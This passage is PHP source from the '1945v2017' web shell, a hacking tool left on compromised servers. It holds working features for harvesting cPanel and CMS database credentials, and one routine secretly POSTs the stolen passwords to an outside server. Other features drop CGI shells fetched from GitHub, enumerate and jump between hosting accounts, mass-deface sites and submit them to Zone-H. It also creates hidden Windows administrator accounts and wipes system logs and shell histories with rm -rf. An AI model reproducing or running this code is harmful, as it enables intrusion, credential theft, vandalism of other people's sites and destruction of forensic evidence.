"</center>";}elseif($__action__=="kuchiyose_c99"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__ == "kuchiyose_adminer"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__ == "kuchiyose_noname"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";} elseif($__action__ == "adm"){$html->show("<center>");$html->show($html->h1("Admin Finder"));if(empty($_POST['scan'])){$input = $html->input("text","url","value=\"http://indonesian.go.id\"","Target URL ");$input.= $html->submit("scan","value=\"find admin\"");$input.= "<br><br> <b> Worldlist</b><br>";$val = $act->getcontent("https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/wordlist_af.txt");$input.= $html->textarea("wordlist",$val,"style=\"width:400px;height:250px\"");$html->show($html->form("POST",$input)."</center>");}else{if(!empty($_POST['url'])){$html->show("<div class=\"code\" style=\"text-align:left;\">");$e = explode("\n",$_POST['wordlist']);$url = $_POST['url'];foreach($e as $wordlist){$admin = array("admin","password","username","login","masuk","daftar","register");if(preg_match('/'.implode("|",$admin).'/i',$act->getcontent($url."/".$wordlist))){$html->show(" [ <font color=lime>FOUND</font> ] ".$url."/".$wordlist."<br>");}else{$html->show(" [ <font color=red>NOT FOUND</font> ] ".$url."/".$wordlist."<br>");}}$html->show("</div>");}}}elseif($__action__ == "abt"){$html->show("<center>");$html->show($html->h1("About 1945v2017"));$html->show("<b>MerdekaAtoeMati</b><br>");$html->show("<i>1945 shell by : ".$html->a("https://facebook.com/JKT48.co","shutdown57","target=\"_blank\"")."</i>");$html->show(base64_decode(base64_decode("UEdoeVBnMEtQSEErUEdJK1VISnZhMnhoYldGemFUd3ZZajQ4TDNBK0RRbzhhVDVMWVcxcElHSmhibWR6WVNCSmJtUnZibVZ6YVdFZ1pHVnVaMkZ1SUdsdWFTQnRaVzVxWVhSaGEyRnVJR3RsYldWeVpHVnJZV0Z1SUVsdVpHOXVaWE5wWVN3OFluSStEUXBJWVd3dGFHRnNJR3BoYm1jZ2JXVnVaMlZ1WVdrZ2NHVnRhVzVrWVdoaGJpQnJaV3R2WldGellXRnVJR1JoYmlCc1lXbHVMV3hoYVc0OFluSStEUXBrYVNCelpXeGxibWRuWVhKaGEyRnVJR1JsYm1kaGJpQjBhbUZ5WVNCellXdHpZVzFoSUdSaGJpQmtZV3hoYlNCMGFXVnRjRzhnYW1GdVp5QnpaWE5wYm1kcllYUXRjMmx1WjJ0aGRHNXFZVHhpY2o0TkNqd3ZhVDQ4WWlCaGJHbG5iajF5YVdkb2RENUVhbUZyWVhKMFlTd3hOeTB3T0MweE9UUTFJRHhpY2o0Z1FYUmhjeUJ1WVcxaElHSmhibWR6WVNCSmJtUnZibVZ6YVdFOFluSStJRk52Wld0aGNtNXZJQzBnU0dGMGRHRThMMkkrRFFvOGFISStEUW94T1RRMVUyaGxiR3dnVUhKbGMyVnVkQ0JDZVNBOFlTQm9jbVZtUFNKb2RIUndPaTh2YW1GMllXTnZaR1Z5ZFd4bGN5NXBieThpSUhSaGNtZGxkRDBpWDJKc1lXNXJJajVLWVhaRGIyUmxQQzloUGlBbVkyOXdlVHNnTWpBeE53PT0=")));}elseif($__action__=="help"){$c=$act->getsource("https://raw.githubusercontent.com/alintamvanz/1945shell/master/help.1945.txt"); $html->show("<center>".$html->h1("Help - Bantuan")."</center>");$html->show("<pre>".$c."</pre>");}elseif($__action__ == "dl"){@ob_clean();$file = $_GET['__files__'];header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($file).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: ' . filesize($file));readfile($file);exit;}elseif($__action__ == "log"){$dstr = session_destroy();if($dstr == true){ $html->show("<script>alert('Bye !'); window.location.href='?__1945__';</script>");}}elseif($__action__ == "telnet"){$cgidir="1945_cgi/";@mkdir($cgidir,0755);$hta = "OPTIONS Indexes Includes ExecCGI FollowSymLinks\nAddType application/x-httpd-cgi .id\nAddHandler cgi-script .id\nAddHandler cgi-script .id";$source=$act->getcontent("https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/cgi_telnet.pl"); $act->simpantext($cgidir.".htaccess",$hta);$act->simpantext($cgidir."cgi_telnet.id",$source); @chmod($cgidir."cgi_telnet.id",0755); @chmod($cgidir.".htacess",0755);$html->show("<center><h1>Done ... <a href='1945_cgi/cgi_telnet.id' target='_blank'>Click here</a></h1></center>");}elseif($__action__ == "sh"){$cgidir="1945_cgi/";@mkdir($cgidir,0755);$hta = "OPTIONS Indexes Includes ExecCGI FollowSymLinks\nAddType application/x-httpd-cgi .id\nAddHandler cgi-script .id\nAddHandler cgi-script .id";$source=$act->getcontent("https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/cgi_shell.sh"); $act->simpantext($cgidir.".htaccess",$hta);$act->simpantext($cgidir."cgi_shell.id",$source); @chmod($cgidir."cgi_shell.id",0755); @chmod($cgidir.".htacess",0755);$html->show("<center><h1>Done ... <a href='1945_cgi/cgi_shell.id' target='_blank'>Click here</a></h1></center>");}elseif($__action__ == "sym"){$html->show("<center>");$html->show($html->h1("Symlink 1945 Shell"));$opti = $html->option("serv","Server"); $opti.= $html->option("php","PHP");$inputs = $html->input("text","target","value=\"".$dir."\"","Directory");$inputs.= $html->input("text","to","value=\"".$dir."/sym1945.txt\"","Symlink to ");$inputs.= $html->select("method",$opti,"class=\"input_m\" style=\"width:100px;\"");$inputs.= $html->submit("sym","value=\"Symlink !\"");$html->show($html->form("POST",$inputs));if(isset($_POST['sym'])){$target=$_POST['target'];$link = $_POST['to'];if($_POST['method']=='serv'){FileMan45::cmd("ln -s $target $link");if(file_exists($link)){$html->show("Symlink done :* ".$html->a("?__merdeka__=$link","Click Here"));}else{$html->show("Failed To Symlink With Command Server");}}elseif($_POST['method']=='php'){if(symlink($target,$link)){$html->show("Symlink done :* ".$html->a("?__merdeka__=$link","Click Here"));}else{$html->show("Failed To Symlink With PHP");}}}}elseif($__action__ == "grabcp"){function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}$d0mains = @file('/etc/named.conf');$domains = scandir("/var/named");if ($domains or $d0mains){$domains = scandir("/var/named");if($domains) {$html->show("<table align=center>");$html->show($html->tr("<th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th>"));$count=1;$dc = 0;$list = scandir("/var/named");foreach($list as $domain){if(strpos($domain,".db")){$domain = str_replace('.db','',$domain);$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));$dirz = '/home/'.$owner['name'].'/.my.cnf';$path = getcwd();if (is_readable($dirz)) {copy($dirz, ''.$path.'/'.$owner['name'].'.txt');$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');$password=entre2v2($p,'password="','"');$tbl=$html->td($count++);$tbl.=$html->td($html->a("http://".$domain.":2082",$domain));$tbl.=$html->td($owner['name']);$tbl.=$html->td($password);$tbl.=$html->td($html->a($owner['name'].".txt","Click Here"));$html->show($html->tr($tbl));$dc++;$success3="http://".$domain."|".$owner['name']."|".$password."\n";$ch = curl_init();curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php");curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success3));curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 1);$buffer = curl_exec($ch);}}}$html->show("</table></center>");$total = $dc;}else{$d0mains = @file('/etc/named.conf');if($d0mains) {$html->show("<table align=center>");$html->show($html->tr("<th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th>"));;$count=1;$dc = 0;$mck = array();foreach($d0mains as $d0main){if(@preg_match('/zone/',$d0main)){preg_match_all('#zone "(.*)"#',$d0main,$domain);flush();if(strlen(trim($domain[1][0])) >2){$mck[] = $domain[1][0];}}}$mck = array_unique($mck);$usr = array();$dmn = array();foreach($mck as $o) {$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));$usr[] = $infos['name'];$dmn[] = $o;}array_multisort($usr,$dmn);$dt = file('/etc/passwd');$passwd = array();foreach($dt as $d) {$r = explode(':',$d);if(strpos($r[5],'home')){$passwd[$r[0]] = $r[5];}}$l=0;$j=1;foreach($usr as $r) {$dirz = '/home/'.$r.'/.my.cnf';$path = getcwd();if (is_readable($dirz)) {copy($dirz, ''.$path.'/'.$r.'.txt');$p=file_get_contents(''.$path.'/'.$r.'.txt');$password=entre2v2($p,'password="','"');$tt=$html->td($count++);$tt.=$html->td($html->a("http://".$dmn[$j-1],$dmn[j-1]));$tt.=$html->td($r);$tt.=$html->td($password);$tt.=$html->td($html->a($r.".txt","Click Here"));$html->show($html->tr($tt));$dc++;flush();$l=$l?0:1;$j++;}}}$html->show("</table>");$total = $dc;$html->show("<b>Total cPanel Found = <big>".$total."</big></b></br></center>");}}else{$html->show("<center><h1>ERROR :( </h1><br><font color=red><i>/var/named</i></font> or <font color=red><i>etc/named.conf</i></font><b> Not Accessible!</b></center>");} }elseif($__action__ == "config"){$html->show("<center>".$html->h1("Get Config")."</center>");$cfgdir=$html->input("text","cfgdir","value=\"".getcwd()."\" placeholder=\"/home/user/public_html\"","get config dir ");$cfgdir.=$html->submit("gconf","value=\"Get Config\"");if(isset($_POST['gconf'])){if(!file_exists("1945.conf/.htaccess")&&!file_exists("1945.conf/shutdown57.txt")){@mkdir("1945.conf",0777); $act->simpantext("1945.conf/.htaccess","Options all\nDirectoryIndex shutdown57.txt\nSatisfy Any"); $act->simpantext("1945.conf/shutdown57.txt","./1945.conf - shutdown57");fopen("/etc/passwd","r")or die("<center><big>Can't read /etc/passwd</big></center>");foreach($act->getuser() as $user){$configdir=$_POST['cfgdir'];if(is_readable($configdir)) {$grab_config = array("/home/$user/.my.cnf" => "cpanel","/home/$user/.accesshash" => "WHM-accesshash","$configdir/po-content/config.php" => "Popoji","$configdir/vdo_config.php" => "Voodoo","$configdir/bw-configs/config.ini" => "BosWeb","$configdir/config/koneksi.php" => "Lokomedia","$configdir/lokomedia/config/koneksi.php" => "Lokomedia","$configdir/clientarea/configuration.php" => "WHMCS","$configdir/whm/configuration.php" => "WHMCS","$configdir/whmcs/configuration.php" => "WHMCS","$configdir/forum/config.php" => "phpBB","$configdir/sites/default/settings.php" => "Drupal","$configdir/config/settings.inc.php" => "PrestaShop","$configdir/app/etc/local.xml" => "Magento","$configdir/joomla/configuration.php" => "Joomla","$configdir/configuration.php" => "Joomla","$configdir/wp/wp-config.php" => "WordPress","$configdir/wordpress/wp-config.php" => "WordPress","$configdir/wp-config.php" => "WordPress","$configdir/admin/config.php" => "OpenCart","$configdir/slconfig.php" => "Sitelok","$configdir/application/config/database.php" => "Ellislab");foreach($grab_config as $config => $nama_config) {$ambil_config = file_get_contents($config);if($ambil_config == '') {} else {$file_config = fopen("1945.conf/$user-$nama_config.txt","w");fputs($file_config,$ambil_config);}}} }$html->show("<center><big>Successfully Proccess Request ! ->".$html->a("?__merdeka__=".getcwd()."/1945.conf","Click Here Your Config")." !</big></center>");}else{$html->show("<meta http-equiv='refresh' content='0;url=?__merdeka__=".getcwd()."/1945.conf'>");}}else{$html->show("<center>".$html->form("POST",$cfgdir)."</center>");}}elseif ($__action__ == "jump") {$ip=gethostbyname($_SERVER['HTTP_HOST']);$html->show("<center>".$html->h1("Jumping")."</center>");$i = 0;if(preg_match("/hsphere/", $dir)) {$urls = explode("\r\n", $_POST['url']);if(isset($_POST['jump'])) {$html->show("<pre>");foreach($urls as $url) {$url = str_replace(array("http://","www."), "", strtolower($url));$etc = "/etc/passwd";$f = fopen($etc,"r");while($gets = fgets($f)) {$pecah = explode(":", $gets);$user = $pecah[0];$dir_user = "/hsphere/local/home/$user";if(is_dir($dir_user) === true) {$url_user = $dir_user."/".$url;if(is_readable($url_user)) {$i++;$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";if(is_writable($url_user)) {$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";}$html->show($jrw."<br>");}}}}if($i == 0) { $html->show("<br><b><big><center>Tidak ada kamar di ".$ip."</center></big></b>");} else {$html->show("<br>Total ada ".$i." Kamar di ".$ip);}$html->show("</pre>");} else {$html->show('<center><form method="post">List Domains: <br><textarea name="url" class="txtarea_m">');$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");while($getss = fgets($fp)) {$html->show($getss);}$html->show('</textarea><br><input type="submit" value="Jumping" name="jump" class="input_m"></form></center>');}} elseif(preg_match("/vhosts|vhost/", $dir)) {preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);$urls = explode("\r\n", $_POST['url']);if(isset($_POST['jump'])) {$html->show("<pre>");foreach($urls as $url) {$url = str_replace("www.", "", $url);$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";if(is_dir($web_vh) === true) {if(is_readable($web_vh)) {$i++;$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";if(is_writable($web_vh)) {$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";}$html->show($jrw."<br>");}}}if($i == 0) {$html->show("<center><big>Tidak ada kamar di ".$ip."</big></center>"); } else {$html->show("<br>Total ada ".$i." Kamar di ".$ip);}$html->show("</pre>");} else {$html->show('<center><form method="post">List Domains: <br><textarea name="url" class="txtarea_m">');$act->bing("ip:$ip");$html->show('</textarea><br><input type="submit" value="Jumping" name="jump" class="input_m"></form></center>');}} else {$html->show("<pre>");$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");while($passwd = fgets($etc)) {if($passwd == '' || !$etc) {$html->show("<font color=red>Can't read /etc/passwd</font>");} else {preg_match_all('/(.*?):x:/', $passwd, $user_jumping);foreach($user_jumping[1] as $user_x) {$user_jumping_dir = "/home/$user_x/public_html";if(is_readable($user_jumping_dir)) {$i++;$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";if(is_writable($user_jumping_dir)) {$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";}$html->show($jrw);if(function_exists('posix_getpwuid')) {$domain_jump = file_get_contents("/etc/named.conf"); if($domain_jump == '') {$html->show(" => ( <font color=red>gabisa ambil nama domain nya</font> )<br>");} else {preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);foreach($domains_jump[1] as $dj) {$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));$user_jumping_url = $user_jumping_url['name'];if($user_jumping_url == $user_x) {$html->show(" => ( <u>$dj</u> )<br>");break;}}}} else {$html->show("<br>");}}}}}if($i == 0) { $html->show("<center><big>Tidak ada kamar di ".$ip." </big></center>");} else {$html->show( "<br>Total ada ".$i." Kamar di ".$ip);}$html->show( "</pre>");}}elseif($__action__ == "jpgshell"){$htaccess="\n Addhandler application/x-httpd-php .jpg";$simpan=$act->simpantext(".htaccess",$htaccess);$shell_lama=$_SERVER['SCRIPT_FILENAME'];if($simpan){$html->show("Successfully Create .htaccess Files ... <br>");if(copy($shell_lama,$shell_lama."-backup.php")){$html->show("Successfully Copying Original Shell to ".$shell_lama."-backup.php <br>");}else{$html->show("Failed Copying Original Shell :( ... <br>");}if(rename($shell_lama,"1945v2017.jpg")){$html->show("Successfully Rename shell to <b>1945v2017.jpg</b> ..<br>");$html->show($html->a("1945v2017.jpg","Click Here")." For New *.jpg shell <br>");}else{$html->show("Failed Rename shell :( ... <br>");}}else{$html->show("<h1>Failed :(</h1>");}}elseif($__action__ == "stamp"){$html->show("<center>".$html->h1("Stamp Site")."</center>");$stampinput=$html->input("text","haiker","value=\"shutdown57\"","Stamped by ");$stampinput.=$html->input("text","email","value=\"indonesianpeople.shutdown57@gmail.com\"","Contact to");$stampinput.=$html->input("text","fname","value=\"shutdown57.html\"","Filename ");$stampinput.=$html->submit("stamp","value=\"Execute !\"");$stampinput.=$html->textarea("pesan","Akhir nya ada yang mengerti perasaanku selama ini");if(isset($_POST['stamp'])){if($act->Stamp45("stamped.html.tmp",$_POST['fname'],$_POST['haiker'],$_POST['pesan'],$_POST['email'])){$html->show("<b> Successfully Stamped this site ... :p </b>");$html->show("<br> Proof : ".$html->a($_POST['fname'],"Click here ..",""));}else{$html->show("<b> Failed Stamped this site .. :( </b>");}}else{$sc=file_get_contents(htmlspecialchars("https://pastebin.com/raw/ebnKvGqM"));$act->simpantext("stamped.html.tmp",$sc);$html->show($html->form("POST",$stampinput));}}elseif($__action__ == "fake"){$html->show("<center>".$html->h1("Fake R00t")."</center>");ob_start();$user=@get_current_user();$cwd = getcwd();$ambil_user = explode("/", $cwd);$user = $ambil_user[2];if($_POST['reverse']) {$site = explode("\r\n", $_POST['url']);$file = $_POST['file'];foreach($site as $url) {$cek = $act->getsource("$url/~$user/$file");if(preg_match("/hacked/i", $cek)) {$html->show($html->a($ppq,$ppq)." -> FakeRoot !<br>");}}}else{$inputfake = $html->input("text","file","value=\"shutdown57.html\"","Filename ");$inputfake.= $html->input("text","","value=\"$user\" readonly","User ");$inputfake.= $html->submit("reverse","value=\"Scan Fake Root\"");$inputfake.= $html->textarea("url",$act->reverse($_SERVER['HTTP_HOST']),"");$html->show($html->form("POST",$inputfake));}}elseif($__action__ == "massd"){$html->show("<center>".$html->h1("Mass Deface"));$inputd = $html->input("text","fname","value=\"shutdown57.php\"","Filename ");$inputd.= $html->input("text","dname","value=\"".$dir."\"","Directory ");$inputd.= $html->submit("mass","value=\"Mass Deface\"");$inputd.= $html->textarea("sc","Hurted by shutdown57","");if(isset($_POST['mass'])){$act->MassDeface45($_POST['fname'],$_POST['dname'],$_POST['sc']);}else{$html->show($html->form("POST",$inputd));}}elseif($__action__ == "zoneh"){$inputz=$html->input("text","haiker","value=\"shutdown57\"","Notifier");$inputz.=$html->submit("submitz","value=\"Notify \"");$inputz.=$html->textarea("site","http://www.alinko.jp\nhttp://ngewe.com","");$html->show("<center>".$html->h1("Zone-H Mass notifier"));if(isset($_POST['submitz'])){$haiker=$_POST['haiker']; $domen = explode("\r\n",$_POST['site']);foreach($domen as $kehed){$exezoneh=$act->zoneh45($haiker,$kehed);if(preg_match("/color=\"red\">OK<\/font><\/li>/i",$exezoneh)){$html->show("[ <font color=lime> OKAYY </font> ] ".$kehed."<br>");}else{$html->show("[ <font color=red> ERROR </font> ]".$kehed."<br>");}}}else{$html->show($html->form("POST",$inputz."</center>"));}}elseif($__action__ == "smtp"){$html->show("<center>".$html->h1("SMTP Grabber")."</center>");if(!preg_match("/1945.conf/",$dir)){$html->show("<b> This will be worked if you in 1945.conf Directory !");$act->CekConf();}else{$dira = scandir($dir);foreach($dira as $dirb){if(!is_file("$dir/$dirb")) continue;$ambil = file_get_contents("$dir/$dirb");$ambil = str_replace("$", "", $ambil);if(preg_match("/JConfig|joomla/", $ambil)){$smtp_host = $act->getStr45($ambil,"smtphost = '","'");$smtp_auth = $act->getStr45($ambil,"smtpauth = '","'");$smtp_user = $act->getStr45($ambil,"smtpuser = '","'");$smtp_pass = $act->getStr45($ambil,"smtppass = '","'");$smtp_port = $act->getStr45($ambil,"smtpport = '","'");$smtp_secure = $act->getStr45($ambil,"smtpsecure = '","'");$smtp_res ="SMTP Host: <font color=lime>$smtp_host</font><br>";$smtp_res.="SMTP port: <font color=lime>$smtp_port</font><br>";$smtp_res.="SMTP user: <font color=lime>$smtp_user</font><br>";$smtp_res.="SMTP pass: <font color=lime>$smtp_pass</font><br>";$smtp_res.="SMTP auth: <font color=lime>$smtp_auth</font><br>";$smtp_res.="SMTP secure: <font color=lime>$smtp_secure</font><br><br>";}}$html->show($smtp_res);}}elseif($__action__ == "rdp"){$html->show("<center>".$html->h1("RDP Tools")."</center>");if($_GLOBALS['rdp']=='win'){if($_POST['create']) {$user = htmlspecialchars($_POST['user']);$pass = htmlspecialchars($_POST['pass']);if(preg_match("/$user/", FileMan45::cmd("net user"))) {;$html->show("[INFO] | <font color=red>USER <b>$user</b> Already Exists</font>");} else {$add_user = FileMan45::cmd("net user $user $pass /add");$add_groups1 = FileMan45::cmd("net localgroup Administrators $user /add");$add_groups2 = FileMan45::cmd("net localgroup Administrator $user /add");$add_groups3 = FileMan45::cmd("net localgroup Administrateur $user /add");$result="<b>- [ RDP ACCOUNT INFO ]- </b>";$result.="IP : <b>".$ip."</b><br>";$result.="Username : <b>".$user."</b><br>";$result.="Password : <b>".$pass."</b><br>";$result.="<b>- [ STATUS ] -</b>";$html->show($result);if($add_user) {$html->show("[add user] -> <font color='lime'>Successfully</font><br>");} else {$html->show("[add user] -> <font color='red'>F a i l e d</font><br>");}if($add_groups1) {$html->show("[add localgroup Administrators] -> <font color='lime'>Successfully</font><br>");} elseif($add_groups2) {$html->show("[add localgroup Administrator] -> <font color='lime'>Successfully</font><br>");} elseif($add_groups3) { $html->show("[add localgroup Administrateur] -> <font color='lime'>Successfully</font><br>");} else {$html->show("[add localgroup] -> <font color='red'>F a i l e d</font><br>");}$html->show( "------------------------------<br>");}} elseif($_POST['s_opsi']) {$user = htmlspecialchars($_POST['r_user']);if($_POST['opsi'] == '1') {$cek = FileMan45::cmd("net user $user");$html->show( "Checking username <font color=lime>$user</font> ....... ");if(preg_match("/$user/", $cek)) {$html->show( "[ <font color=lime>Already Exists</font> ]<br>------------------------------<br><br><pre>$cek</pre>");} else {$html->show( "[ <font color=red>Not Exists</font> ]");}} elseif($_POST['opsi'] == '2') {$cek = FileMan45::cmd("net user $user shutdown57");if(preg_match("/$user/", FileMan45::cmd("net user"))) {$html->show( "[change password: <font color=lime>shutdown57<font>] -> ");if($cek) {$html->show( "<font color=lime>Successfully</font>");} else {$html->show( "<font color=red>F a i l e d</font>");}} else {$html->show( "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>");}} elseif($_POST['opsi'] == '3') {$cek = FileMan45::cmd("net user $user /DELETE");if(preg_match("/$user/", FileMan45::cmd("net user"))) {$html->show( "[remove user: <font color=lime>$user</font>] -> ");if($cek) {$html->show( "<font color=lime>Successfully</font>");} else {$html->show( "<font color=red>F a i l e d</font>");}} else {$html->show( "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>");}}}else{$opt_rdp=$html->option("1","Check Username").$html->option("2","Change Password").$html->option("3","Remove Username");$input_rdp1=$html->input("text","user","value=\"shutdown57\"","Username ");$input_rdp1.=$html->input("text","pass","value=\"shutdown57\"","Password ");$input_rdp1.=$html->submit("create","value=\">>\"");$input_rdp=$html->input("text","r_user","placeholder=\"username\"","Username");$input_rdp.=$html->select("opsi",$opt_rdp,"class=\"input_m\"");$input_rdp.=$html->submit("s_opsi","value=\">>\"");$html->show("<center><br>");$html->show("<b> CREATE RDP </b><br><br>".$html->form("POST",$input_rdp1));$html->show("<br><b> RDP OPTIONS </b><br><br>".$html->form("POST",$input_rdp));$html->show("</center><br>");}}else{$html->show("<center>".$html->h1("Sorry, :( ! This tools just work in windows server.")."</center>");}}elseif($__action__ == "update"){$html->show($act->update45());}elseif($__action__ == "setting"){$html->show("<center>".$html->h1("Setting 1945Shell")."<big><b> Carefully, It's Developer Area! You must know <b>PHP</b> Bassically</b></big><br>If any error contact email listed!</center>");$set=$act->getStr45(file_get_contents($_SERVER['SCRIPT_FILENAME']),"//1945 shell configuration","//End Configuration");$pps=($set!=''||preg_match("/1945/",$set)) ? $pps=$set : $pps="Error Occured !";$seth="<input type='checkbox' value='1' name='bak'> Backup?";$seth.=$html->submit("setppq","value=\"Save !\"");$seth.=$html->textarea("set","\n\n".$pps);if(isset($_POST['setppq'])){$content=$_POST['set'];if($_POST['bak']=='1'){@copy($_SERVER['SCRIPT_FILENAME'],str_replace(".php",".bak.php",$_SERVER['SCRIPT_FILENAME']));}$o=str_replace($pps,$content,file_get_contents($_SERVER['SCRIPT_FILENAME']));$act->simpantext($_SERVER['SCRIPT_FILENAME'],$o);$html->show("<script>window.location.href='?'</script>");}else{$html->show($html->form("POST",$seth));}}elseif($__action__ == "killme"){@unlink($_SERVER['SCRIPT_FILENAME']);$html->show("<script>alert('T E R B U N U H ! 1 ! 1');window.location.href='../';</script>");}elseif($__action__ == "clogs"){if($GLOBALS['os']=='nix'){FileMan45::cmd("rm -rf /tmp/logs");$html->show('<br>Deleting .../tmp/logs ');FileMan45::cmd("rm -rf /root/.bash_history");$html->show('<p>Deleting .../root/.bash_history </p>');FileMan45::cmd("rm -rf /root/.ksh_history");$html->show('<p>Deleting .../root/.ksh_history </p>');FileMan45::cmd("rm -rf /root/.bash_logout");$html->show('<p>Deleting .../root/.bash_logout </p>');FileMan45::cmd("rm -rf /usr/local/apache/logs");$html->show('<p>Deleting .../usr/local/apache/logs </p>');FileMan45::cmd("rm -rf /usr/local/apache/log");$html->show('<p>Deleting .../usr/local/apache/log </p>');FileMan45::cmd("rm -rf /var/apache/logs");$html->show('<p>Deleting .../var/apache/logs </p>');FileMan45::cmd("rm -rf /var/apache/log");$html->show('<p>Deleting .../var/apache/log </p>');FileMan45::cmd("rm -rf /var/run/utmp");$html->show('<p>Deleting .../var/run/utmp </p>');FileMan45::cmd("rm -rf /var/logs");$html->show('<p>Deleting .../var/logs </p>');FileMan45::cmd("rm -rf /var/log");$html->show('<p>Deleting .../var/log </p>');FileMan45::cmd("rm -rf /var/adm");$html->show('<p>Deleting .../var/adm </p>');FileMan45::cmd("rm -rf /etc/wtmp");$html->show('<p>Deleting .../etc/wtmp </p>');FileMan45::cmd("rm -rf /etc/utmp");$html->show('<p>Deleting .../etc/utmp </p>');FileMan45::cmd("rm -rf /var/log/lastlog");$html->show('<p>Deleting .../var/log/lastlog </p>');FileMan45::cmd("rm -rf /var/log/wtmp");$html->show('<p>Deleting .../var/log/wtmp </p>');$html->show('<br><br><p>Your Traces Has Been Successfully Deleting ...From the Server');}else{$html->show("<h1> I think, this tools not work in windows server :(</h1>");}}}else{$html->show("<form method=\"POST\"><table class=\"a_exp\" align=\"center\">");$html->show($html->th("No.").$html->th("*").$html->th("Files").$html->th("Size").$html->th("Type").$html->th("Date Modif").$html->th("Owner:Group").$html->th("Permission").$html->th("Action"));foreach($scandir as $d){if(!is_dir("$dir/$d"))continue;if($d == "."){$f=$html->a("?__merdeka__=".$dir,".","");}elseif($d == ".."){$f =$html->a("?__merdeka__=".dirname($dir),"..","");}else{$f=$html->a("?__merdeka__=$dir/$d",$d,"");}$html->show($html->tr($html->td($no++). $html->td("<input type='checkbox' name='seldir[]' value='".$dir."/".$d."'>"). $html->td("<img src=\"data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\">[<b> ".$f." </b>]"). $html->td($fileman->getfsize("$dir/$d")). $html->td($fileman->getmime("$dir/$d")). $html->td($fileman->getfilemtime("$dir/$d")). $html->td($fileman->getowner("$dir/$d").":".$fileman->getgroup("$dir/$d")). $html->td($fileman->getperms("$dir/$d")). $html->td($fileman->actiondir("$dir/$d"))));}foreach($scandir as $f){if(!is_file("$dir/$f")||$f=="."||$f=="..")continue; $html->show($html->tr($html->td($no++). $html->td("<input type='checkbox' name='selfile[]' value='".$dir."/".$f."'>"). $html->td("<img 